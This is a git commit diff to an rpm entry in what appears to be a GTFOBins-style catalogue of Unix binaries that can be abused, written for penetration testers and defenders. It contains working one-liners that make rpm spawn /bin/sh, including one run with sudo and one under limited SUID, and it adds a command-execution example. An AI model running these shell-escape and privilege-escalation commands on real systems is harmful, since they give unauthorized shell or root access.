add command for rpm and delete unnecessary prefix

This commit is contained in:
M4x 2021-04-07 16:30:36 +08:00 committed by GitHub
parent c3f37d9e09
commit 565ebae880
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2,8 +2,12 @@
functions: functions:
shell: shell:
- code: rpm --eval '%{lua:os.execute("/bin/sh")}' - code: rpm --eval '%{lua:os.execute("/bin/sh")}'
command:
- code: |
rpm --pipe '/bin/id > /tmp/result'
cat /tmp/result
limited-suid: limited-suid:
- code: ./rpm --eval '%{lua:os.execute("/bin/sh")}' - code: rpm --eval '%{lua:os.execute("/bin/sh")}'
sudo: sudo:
- code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}' - code: sudo rpm --eval '%{lua:os.execute("/bin/sh")}'
- description: | - description: |